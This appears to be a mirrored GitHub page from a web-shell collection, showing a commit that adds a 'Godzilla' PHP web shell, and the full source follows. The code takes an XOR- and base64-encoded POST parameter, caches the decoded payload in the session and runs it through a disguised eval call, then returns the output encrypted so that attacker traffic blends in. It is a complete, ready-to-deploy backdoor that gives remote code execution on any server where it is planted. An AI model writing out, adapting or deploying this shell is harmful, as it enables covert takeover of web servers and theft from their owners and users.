mirror of
https://github.com/tennc/webshell
synced 2024-11-10 13:44:18 +00:00
ccf2230bfa
add godzilla php webshell
34 lines
840 B
PHP
34 lines
840 B
PHP
<?php
|
|
session_start();
|
|
@set_time_limit(0);
|
|
@error_reporting(0);
|
|
function E($D,$K){
|
|
for($i=0;$i<strlen($D);$i++) {
|
|
$D[$i] = $D[$i]^$K[$i+1&15];
|
|
}
|
|
return $D;
|
|
}
|
|
function Q($D){
|
|
return base64_encode($D);
|
|
}
|
|
function O($D){
|
|
return base64_decode($D);
|
|
}
|
|
$P='sangfor';
|
|
$V='payload';
|
|
$T='3c6e0b8a9c15224a';
|
|
if (isset($_POST[$P])){
|
|
$F=O(E(O($_POST[$P]),$T));
|
|
if (isset($_SESSION[$V])){
|
|
$L=$_SESSION[$V];
|
|
$A=explode('|',$L);
|
|
class C{public function nvoke($p) {eval($p."");}}
|
|
$R=new C();
|
|
$R->nvoke($A[0]);
|
|
echo substr(md5($P.$T),0,16);
|
|
echo Q(E(@run($F),$T));
|
|
echo substr(md5($P.$T),16);
|
|
}else{
|
|
$_SESSION[$V]=$F;
|
|
}
|
|
}
|